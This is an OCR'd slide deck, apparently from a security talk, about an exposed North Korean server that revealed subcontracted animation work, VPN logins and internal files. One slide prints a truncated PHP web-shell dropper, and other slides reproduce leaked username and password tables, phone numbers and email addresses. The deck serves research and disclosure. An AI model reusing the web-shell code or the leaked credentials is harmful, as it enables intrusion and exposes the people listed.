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i U.S. Animation Studios May Have
O V e rv I eW Unknowingly Outsourced Work To North

Korea

Published: April 24, 2024

Researchers combing through a server based in North Korea found animation work for Amazon'’s
Invincible and Max's Iyanu: Child of Wonder, including log files that suggest animators in China
further outsourced the work to North Korea, unbeknownst to the American companies. What do
you think? @

“Inoticed a certain totalitarianism in the line work.”

Eddie Sanchez, Balance Tester




Overview

e North Korea’s IT workforce is a key revenue source for the regime, often

operating under strict government oversight.
e Access to a misconfigured server offers a rare glimpse into the daily activities

of North Korean IT workers abroad.
e Uncovered data provides valuable insights into global outsourcing practices

and hidden operations.




Findings

e Three months of logs detailing user Index of /data

activities, VPN usage, and project Name  Lastmodiied sice Description
management tasks. @ oI I
@ lacuOitoCkb9gf.db  2023-09-21 00:09 12K
e Evidence of animation projects tied to global  |E_—_G——.———"
(£ appdata_ocall19tphf3/ 2023-09-20 18:39 -
productions (The Octonauts, Invincible, and [l BUSIGS0EE, D
[?) gkeocdyf.db 2023-09-2100:09 12K
(2] hyon 2023-12-18 21:58 19K
othe rS) ) (3 imcholung/ 2023-10-2620:00 -
e Documents revealing worker instructions, e s o
[:] kumbitkasang/ 2023-10-25 17:48

nextcloud.log 2024-04-30 05:27 71M
@ nextcloud.log.1 2024-04-29 11:43 102M
023-09-20 23:45 4.0K

intermediaries, and software usage.

- -

o~

@ owncloud.db
[:] rg2020kasang/
(2 rgykasang/
(£3 mdiccloud/
Esch/

S starl/

2

2023-12-13 19:20
2023-10-24 02:35
2023-12-19 22:59
2023-12-19 03:45
2

2024-04-27 08:08




Discovery




North Korean Internet

AS20485 - Joint Stock Company

TransTeleCom

AS134544 - Cenbong Int'l Holdings Limited

175.45176.0/22
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Open Directories

Index of /config Index of /.git

[ICO] Name Last modified Size Description

Name Last modified Size Description [PARENTDIR] Parent Directory

[1 COMMIT EDITMSG 2022-11-19 05:47
_ [1 HEAD 2022-11-14 05:52
a Parent Directory - (] it 2022-11-14 05:52
CAN_INSTALL 2022-08-2213:05 0 [en description T
[DIR] hooks/ 2022-11-05 04:05
3 anhg_.p_hp 2023-10-26 11:12 1.3K [1 index 2022-11-19 05:48 971K
£ 2022-11-05 5 =
=1 config.sample.php 2022-08-22 13:05 65K %gig Ei 53;538\ gj;g;
[DIR] objects/ 2022-11-05 04:05
[] packed-refs 2022-11-14 06:02
[DIR] refs/ 2022-11-04 23:03
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Accessing the data

Logs from 12/15/23 - 4/20/24
Couple of gaps. We're not perfect
Some interesting things to pull out of the logs

Roughly 250 GB total files

Index of /data

Name

3 Parent Directory
E] lacuOitoCkb9gf.db

[j admin/

(©3 appdata_ocall19tphf3/

audit.log

2 gkeocdyf.db
[@) byon

(£3 imcholung/
(£ kasangtest/
(23 kumbi gl
nextcloud.log
@ nextcloud.log.1
E] owncloud.db
E] 1g2020kasang/
8 1A ng/
(&3 rdiccloud/
B sch/

Estarl/

Last modified Size Description

2023-09-21 00:09 12K
2023-09-20 18:39
2023-09-20 18:39
2005-07-25 02:32
2023-09-21 00:09
2023-12-18 21:58
2023-10-26 20:00
2023-11-27 17:16
2023-10-25 17:48
2024-04-30 05:27 71M
2024-04-29 11:43 102M
2023-09-20 23:45 4.0K
2023-12-13 19:20
2023-10-24 02:35
2023-12-19 22:59
023-12-19 03:45
024-04-27 08:08




VPN Logins

e Mostly logging in from Express VP
and VPN Gate

1
VPN Gate

Public VPN ‘lelay Servers

VPN Servers List Wha \ t vnload  Join Us

Follow @vpngate

An academic experiment

Out of order Public VPN rela

YoulTD)

Target servers

Free Access to World Knowledge Beyond Government's Firewall.

Your IP: 108.1.146.236

Your country: United States
Let's change your IP address by using VPN Gate!

Welcome to VPN Gate. (Launched on March 8, 2013.)
- You can get through your government's firewall to browse restricted websites. (e.g. YouTube.)
st e & SoftEther VPN
- You can disguise your IP address to hide your identity while surfing the Internet. J
- You can protect yourself rong encryption while using pub Fi. More Detal orts OpenVPN
- Tunn 31,2
Supports Windows, Mac, iPhone, iPad and Android.

VPN Gate is based on SoftEther VPN, a multi-protocol VPN server.

Cumulative: 17,829,387,408 connections, Traffic: 707,038.49 TB. 17,829,387,408 VPN connections from 237 Countries.

VPN Sesson ———m_ mmz'—z_-

VPN-1782938 3:49:56 (0 mins ago) B ynited States " Korea Republic of 7 OpenVPN " Korea Republic of

3:48:45 (0 mins ago) ™ singapore . Korea Republic of 7 OpenVPN = Iran (ISLAMIC Republic Of)

6 | 2024/07/30 3:48:41 (0 mins ago) | ™ singapore #*: Korea Republic of 3. OpenVPN 3 ®Japan



Users and Non-VPN Sources

rg2020kasang
kasangtest

scb

rrdiccloud

ORACLE-BMC-31898
China Mobile commun...

Telefonica De Espana...

Internal IP

star1

CHINA UNICOM Chin...




Failed Logins - User Agent ‘test’

104.234.140.0/24 rg2020kasang - 34.542%
85.203.21.0/24 rrdiccloud - 31.604%
kasangtest - 9.859%
kumbitkasang - 9.832%
scb - 5.263%
imcholung - 4.6%
rgykasang - 4.299%
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Other Failed Logins

Al (test) komogeco

asd ZSH (Hyunseong Choi)
test-m tkhyp@star-co.net.kp
T-81vr-m jcg0123
pkitc@silibank.net.kp pyitc

pkitc@star-co.net.kp hyon

kitc@star-co.net.kp imcholung




Spike In Activity

March 11th saw a huge spike in activity for the user star1
Activity stopped after this




Remember that free VPN?




Remember that user kasangtest?

Z Files - StarCloud

=]
M All files
@® Recent

v Favorites

«¢  Shares

W Deleted files

© 588.8 MB used

@ mail.star.net.kp

C @ Notsecure

X3t

https://cloud.star.net.kp/index.php/apps/files/?dir=/&fileid=68

Name

Hana9.30_W2K_9.exe

HHRJ-{EMEIRIE-1221 rar

jdk-7u45-windows-i586.exe

mailAgent_subscriber.zip

navicat150_mongodb_en_x86.exe

onekey-ghost_setup.exe

test.txt

8 Unconfirmed 307817.rar

Size

€ Shared 41 MB

€ Shared 314.6 MB

123.5 MB

3.8 MB

34.1 MB

3.8 MB

0 KB

65.2 MB

<

Modified

seconds ago

seconds ago

seconds ago

seconds ago

pE
[

seconds ago

seconds ago



What Does It All
Mean?

| Skybound Entertainment Follow
" @Skybound

To our fans: Skybound has been made aware of an
unconfirmed report concerning a cloud storage server
connected to a North Korean IP address. This server
supposedly contains an Invincible animation sketch. Our
official statement follows.

We do not work with North Korean companies, or any
affiliated entities, and have no knowledge of any North
Korean companies working on our animation. Our
policies strictly prohibit any subcontracting to any third-
party without our express prior written consent, which, in
this case, was neither sought nor granted. We also
mandate that all our service providers fully comply with
all applicable rules and regulations and prohibit
disclosures of materials by our service providers to third
parties.

Skybound Entertainment takes these allegations
seriously and has initiated a thorough internal review to
verify and rectify any potential issues. We have also
notified the proper authorities and are cooperating with
all appropriate bodies.

1:00 PM - Apr 21,2024 - 59.4K Views



starwebuser.sql

e Amount: 220 won (foreign currency) per computer.
o Service type: e-mail, route, FTP, webmail
e Signup at Pyongyang Internet and Communications Office between the 10th and 25th
of each month.

e Detailed information about required security software
o  Silivaccine or Chambit
o Fortress
o Hana for Korean characters
o  Netkey

e Introduction of a data leak prevention system

e Operating hours and physical addresses of critical communication infrastructure
detailed in the document.
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starwebuser.sql -

"A data leak prevention system is
being introduced in relation to the
International communication network
security project”
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NetKey

Server Info

Address : RyonBong

User Name :

save account

Machine Name :



starwebuser.sql

e 15% of passwords are 12345678

e Usernames for North Korean
companies and services

e Fun usernames: dutyfree, reuters,
lionking, ironman, pyonggang
No supreme leader :(

e Doesn’t seem to work on publicly
accessible FTP servers

‘accountFd
komogeco’
ramhong’
sonamu’
future1234'
tanphung’
kgs15911°
ki0818'
30ktstc’
uniever'
kumsugsg'
greencolor’
k-elderlyfund’
unbanuser'
msseven’
atc21'
IronBar
wpkint'
rchm0925'
rsc’
ujs0902'

‘passFd’
12345678
19840614
1988112'
12345678
1234'
12345678
ki19920818’
12345678
19900717
1018
22221212
20030430°
unban1972'
ms’

34

7

123

zhemin2015'

313
19780902

70154
67474
71765
70369
72391
73608
7358

72380
74071
70236
73766
638475
72850
68561
63920
67397
73242
74159
71761
72520

‘regnum’ ‘companyld’ ‘jobFd “officePhone’

973-2938'
973-3367"
024620978’

026361773

02-324-11271

024320984’
024311637
537-1636'

‘mobilePhone’
1912538914’
1912700536’

191-264-6873'
1915501777
1915648766
1912667789
1915593837

1913540249
1912544357
19128

1912763307

19160075
19138
1913426664’




Second Set of

Usernames
A - F H I
Y Number 1 A= : g RS Az AFER (min) AFEAEXSE SEEN .
. 2 sdf 10000t-81w-m  sdf 2022-12-01 14
° Representatlve 3 2test test 10000test-m  test 2022-11-11 15
Name : 3asd asd asd 10000t-81vw-m  fnr16e 2022-11-03 10
4test test test 11test test 2022-03-18 10
° Occupation 6 5sdf sdf sdf 44 sdf sdf 2022-03-13 14
Gtest test test 10 t-vhaf 97483a  2022-01-0510
e Passport Number : A" ANE AE AE 10tzthd  yieths  2021-12-31 16
9 Btest test test 15 t-yjof d5738x  2021-12-30 16
o User Name 10 9test test test 10 t-4gmt 48fpry 2021-08-18 15
e Minutes (min) 1 10test!  testl test1 10t22§  fdmgpj  2021-08-17 09 Otest1
. 12 11test test test 0t-c8th wb8dxb  2021-08-17 08 Otest
e User Identifier 13 12testd]  test01 tttets 10tcynt  q92p8b  2021-08-16 14 Ottttset
14 13ttt ttt ttt 10ttyjm  195fup  2021-08-16 14 0ttt
o PaS_SWO r_d 15 14ttt titt ttt 10t-27nr  dbd3zy  2021-08-16 14 0ttt
Y Reg|strat|on Date 16 15ttt ttt ttt 10t-ndcs  h59rta  2021-08-16 14 0ttt
. . 1 161ttt titt ttt 10t-ndcs  h59rta  2021-08-16 14 0ttt
e Communication 17 tit ttt t it Ot-nxy5  6dqrd5  2021-08-16 14 0ttt
Time (min)

e Handler




Factory Tour

e Factory in Vietham?

e PVC Resin bags have
Vietnamese text

e Machines are
manufactured in China

e ANSYL is SE Asia

e DELTA IA-HMI_DOPS
oft-4-00-16-30_SW_TS
E 20230522.zip

e PIStudio 8.4.66.23102
001.zip



https://docs.google.com/file/d/1PKpH9_ySeeRGeJ6XK0sozxWGOvsaWDfS/preview

About Cryptography

{All postal workers and workers
should have a deep knowledge
of the postal sector and make
steady efforts to be well-versed
in the global development trends
and the latest science and
technology in the postal sector.)
- Kim Jong |l

e Written by System
Development Lab Local
Direction

e Mentions the program
Chambit

MAHL A SR 2k




Animation Studio

Found watermark on some animation




Occupation: Production staff

Recently participated

Brainle vitch

A Dalian Shepherd
Animation Studio Animation Co., Ltd.

ABENENEERAE] A 65

implified Chinese name: Dalian
Shepherd Animation Co., Ltd

Weibo: https://weibo.com/u/6819133609
Featured photo album

Recommended directory for this entry

Li Linke's little restaurant All Weibo (5)

@ Dalian Shepherd Animation Co., Ltd.

Dalian Shepherd Animation Co., Ltd. 2022 sample film
video

Mor opers

ml ] ] ™
bangumi il bangumi |l bangumi il bangum
H Liu L




Change Requests & Work Orders

253

0002 yuukeiA

LS DY B

254

0002_yuukeiA

LU DY B

255

0002 _yuukeiA

LU DY B

256

0002 yuukeiA

AL ODIF

257

0002 yuukeiA

AL DIFE

258

0002 yuukeiA

FLUCDIYE

259

0002 yuukeiA

ERVDIYE |
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260 0002 yuukeiA AL DIE
261 [0002 yuukeiA FLOTDIE

TR—FFIVIRIC -V BDEBNHLIECAHBYET DT
BER-FRREIBFOLOEERL TSN

REDLELNVMY - FBROADNDEBRIEESABERITHYET
BEERICAENH BB ETELITHE TS
ERDNELWVEENHYELI-ORIGLET DT EEARERLTSREALLEYT

L= BOOLILEHDIERIZHE TS

EEROBHOBRTAESELLTLSEDIEMLTVEETOT
T4 )LA D B {F&lupdate information.txt | * &% ZFEFELZELY

FRIERESBEVLEDELZSLY
BEHRE/ML BF
PC : a-matuyama@typhoon—g.com

EESEVAEDLEDBEIXIEEDcclZIB LB EHEEBANLZEN
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https://docs.google.com/file/d/1jpwG0R6TUHwiA7v4ssSW1KzHAPQx_awz/preview

Animation Files



https://docs.google.com/file/d/16zGtWg8IVo5L5B3d4gO2iVL9ltFiYuB7/preview
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Remote Work

3DHEE ME LEFAHYL
1.jpg 2t 2.jpg Ol E+8! 4 1 &
=== E&3totn
AUSIHUNMME Hdalote
S S MAt=A Y LICH

o|-j|.| Ct [:”97} X.||Xl-j| ol= O
2eFHAL.

This is a bid for the production of 3D
editing materials. It is to model small
objects as shown in 1.jpg and 2.jpg
and produce a video of them rotating
as shown in the example video. Please
tell me the cost per piece and the

production period.
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Tanon, koHTpranon n
ranon He C Toi Horu. B
4eM pasHuua_.mp4

anon Ha nowaam _
JlBiwKeHme ranonom _
Mocagka Ha ranone _
Mogwém B ranon _ Bugel
ranona (1).mp4

e y nowaau KoneHo,
JIOKOTb U NI TKA.
Crpoetme nowaan..mp4

Jeneso ans nowagu.
Msrkoe unn xecTkoe
wene3o. Tpexsens,
MYHBWITYKA,
nensmbl..mp4

ne6 Tarupos 1 AnOHUC.
TpeHuposka. PaboTa Ha
pbicv v ranone..mp4

3aHaTHe BepXOBOI
e370i. HauanbHbilit
yposeHb..mp4

&
L x i
Kak e3uTb CTpoeBoi Kax e3guTb cTpoeBoit Kak e3uTb yue6Hoit Kak 3a6uHTOBaTL HOTW Kak 3acnyxuts Kak 0cTaHOBWTb NOWaab
pbiCbi0. HaunHatowme  poicbio 6e3 cTpemsaH. 3a poicsio. Buneo ans nowagn. yBaXeHue cranona_Mepexofil
BCAfIHMKN_KaK MOMMaTb  CYET Yero Mbl BCTaeM Ha TU4ECKoe nowagu_.mp4 ranon-war 1 ranon-

6uHTOBaHE
KOHeuHoCTeii. Kak
nocTasueT
BaTHWUKM..Mp4

PHTM Ha pbick..mp4 CTPOEBOiA phick..mp4 BCA[IHMKOB..Mp4 OCTaHoBKa-ranon.mp4

3aHsiTHe BEPXOBOI 3aHaTua B noHn-knybey Mepapxusa B Tabyre. Kak  Kak e3gutb Bepxom
e3pnoit. H n Atitibl Ci i1.mp4 CTaTb IMAEPOM AN 3MMOi_mp4
ypoBeHb. TpeHep CBoei nowaau. A3bik
OkcaHa AHaTonbeBHa nowageit.mp4

CanHukosa (1).mp4

KaknoporHate anmHy  Kak npaBunbHo cefnath Kak npoxoauts Kax pabotaTh BHEWHUM
cTpemerm_oyemy nowags_ OcHoBbI KaBaneTTu.mp4 nosogoM.mp4
CTpeMeHa Ha OfiHOM CeANOBKM _
[BbipKe, HO pa3Hoii CHapsxeHue ans
AnuHbI_ Bugsl KOHKypa.mp4
CTpeMsH..mp4
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Kak cbnmsuTbes ¢ Korpa uTe He P peHnp s PeHME YE J¢ P peHup YE TPEHME P peHup F PEHME yp PEeHME
NOWAfibIo U HAUTH TaK)) Jlak nowen 8 il K Mp mp4 mj Yacts 3. PasMutKa nepen _GoPro (1).mp4 B KOHHOM Kny6e. Pa6ota - kaBaneTTu. TpeHep  Ha noHu. TpeHep An1ca
061K A3bIK. A3bIK pa3sHoc.mp4 COpEBHOBAHMAM. OtseTol Ha npbbKKaMu. [uctaHums Ha pbicu 1 ranone. Bacvnuii JlonaTuH..mp4 OneitHuk.mp4
nowageit.mp4 Tperep Anuca Bonpockl..mp4 B KOHKype. MoaroToska KOHKypHBI# KOHb.
OneitHuk..mp4 K COPeBHOBaHMAM. (1).mp4
(1).mp4
v
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e App Signing for Android: Digitally signs
apps for secure deployment and compliance

. ] e S JRAAFR SRS
with app store or private distribution
. ) ZHapkitES K, ERIPAIBES R, FRAZNANE
reql'“rements ) HEFHIESTEAPP, ZEAPK, & B A
e APK Packaging & Distribution: Upload, ) FROUSS, AP, FRES

package, and sign APKs, generating download
links or QR codes for easy sharing.

e Private & Public Distribution: Supports
private signing for secure enterprise app
deployment.

UDIDIEH;EARARSS




Company Responses

Outsourcing Chain

e Typhoon Graphics (Japan) — Japanese production
company — Chinese company — Another Chinese
subcontractor — Suspected North Korean studio

Company Responses

e  Typhoon Graphics:
o Investigated the issue but couldn’t confirm North
Korean involvement.
o  Decided to redo affected scenes with domestic
animators.
e EKACHI EPILKA:
o  Their layout sheets were used without permission.
o  Denied direct ties to North Korea, suggested a
- subcontractor leak.
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Timeline

Server Discovered Server Exposed Server Shutdown

. December 17, 2023: ° April 22, 2024: Stories . May 8, 2024: The server
Initial discovery of the about the findings are is finally taken offline
server. published. between 1:45 and 2 AM

° December 29, 2023: ET
Open directory is
discovered. 01/24 04/24

12/23 03/24 05/24
Activity Period North Korea Realizes Something is
Wrong

. January 31, 2024: Most

activity on the server ° April 27,2024: All

ceases. contents in the "star1"
. March 11, 2024: The last directory are deleted.

user login is recorded. . April 30, 2024: Errors

accessing log files
suggest cleanup or
server maintenance.




What are the
Files




J u n OS Log S = SNMP Target = TACACS+ Server - NTP Server
172.16.1.3 172.17.12.26 172.17.12.20
Connected via fxp0 Connected via fxp0 Connected via fxp0
A

~ Core Router: C09-RTR2
C03-RTR
BG1-AGG-VC-RTR1 it e
= = (/ 3| 50-1/2/1(192.168.100.2/30)
xe-0/0/0, ge-1/0/0 Junos OS 13.3R6.5.
MPLS Link
Layer 2 VLAN
= C06-RTR

CO-FW1

50-1/2/0 (192.168.100.13/30
ge-1/1/8 (10.245.1.133/30)

i MPLS Link
VPN Connection via IPSec

ADTRAN Devices = ZTE Devices

ael, ae2, ge-1/1/0 ge-1/2/0, ge-1/3/0

MC-LAG Redundancy Labeled but inactive




Star mail client

[StarMailServer]

Description="2 & & 3| A{" (Star Joint Venture)
PopServer=pop.star.kp

PopPort=995

SmtpServer=smtp.star.kp

SmtpPort=587

UseTls=1

[626MailServer]

Description="2& % & 2" (Gwangmyeong Information)
PopServer=214.6.26.30

PopPort=110

SmtpServer=214.6.26.30

SmtpPort=25

UseTls=0




Reverse Shell

e Encodes data with base64 and
AES-256-CBC to hide operations.

e Executes system commands, modifies
files, and interacts with MySQL.

e Returns a 404 status code to avoid
detection.

e Cleans logs and removes traces of
activity.

e File name is similar to other animation
projects and discovered in the trash

<?php

http_response _code(404);

$content =

base64 decode("PD9waHAKCmhOdHBfcmVzc
G9uc2VY29kZSgOMDQpOwpvYI9zdGFydCgp
OwoKCi....... )

$path =
str_replace(/BS/240129/EP06-D-0129.php",",
FILE ).7../../../core/ajax.php’;
file_put_contents($path,$content);




Going forward




Glocom

e 2017 UN report, claimed that Glocom

was a front company for the
government of North Korea

e Radar systems, communications
software, and military radio gear

e Seriously, make sure you don’t have
open directories

Ed 0,.

'_*_/
“:—- o

~ <
2

e 4

:rv&

FOR OFFICIAL USE ONLY
Directorate General Defence Purchase
Ministry of Defence
New Airport Road
Tejgaon Dhaka-1215
Tel: 5044 (Army) 48118516 (BTCL)
Fax: 880-2-48111455
E-Mail: adp2army1@dgdp.gov.bd

d Chaitra 1430
( March 2024

.0000.215.49.23/Std

%
RE-EVALUATION OF THE SPECIFICATION OF RADIO SET HIGH FREQUENCY (HF) MEDIUM RANGE (VEHICLE
& BASE STATION VERSION), VERY HIGH FREQUENCY (VHF) MEDIUM RANGE (VEHICLE & BASE STATION
VERSION) AND VERY HIGH FREQUENCY (VHF) MANPACK

Reference:

A Army Headquarters, General Staff Branch, Signal Dxreclotate letter number 23.01.901.032.03.099.01.20.03.24
dated 20 March 2024 (Not to all).

1. In light of above reference, a technical specification of Radio Set High Frequency (HF) Medium Range (Vehicle
& Base Station Version), Very High Frequency (VHF) Medium Range (Vehicle & Base Station Version) and Very High
Frequency (VHF) Manpack is attached with this letter. Interested authorized vendorsffirms/local agents of the
manufacturers are requested to submit your offer for above mentioned Radio Set High Frequency (HF) Medium Range
(Vehicle & Base Station Version), Very High Frequency (VHF) Medium Range (Vehicle & Base Station Version) and
Very High Frequency (VHF) Manpack directly to Army Headquarters, General Staff Branch, Signal Directorate with
intimation to this office by 20 April 2024 fulfilling the requirements mentioned bellow:

a. Offer as per technical specification.
b. Letter of authorization by Manufacturer/Principal mentioning that the said company will be the local
vendor/agent for offered model.
g Manuals (Original Printed by Manufacture) and CD.
Catalogue (Original Printed by Manufacture) and CD.
Catalogue of Spare Parts (Original Printed by Manufacture) and CD.
Brochure (Original Printed by Manufacture) and CD.
Enlistment Certificate of Directorate General Defence Purchase and BTRC.
Valid Certificate from Original Equipment Manufacturer (OEM) as authorized agent.
Certification from manufacturer on permission to export the said system to Bangladesh Army.

2. All the documents are to be submitted on Manufacture's/Principal’s official pad including official stamp with
signed by proper authority.

3. Forwarded for your information and necessary action please.

RAIHAN RAHMAN

Major
For Director General

Enclosure:

i Technical Specification-24 (Nine) Pages Only.

Distribution:

External:

Information:

Army Headquarters, General Staff Branch (Coordination)

Army Headquarters, General Staff Branch, Weapon Equipment & Statistics Directorate




Amnokgang Technology Development #

Facial Recognition. Develops access
control systems based on Chinese
technology.

Surveillance Systems. Provides
Al-powered CCTYV for state monitoring
and control.

Biometric Security. Fingerprint scanners
and access control for government use.
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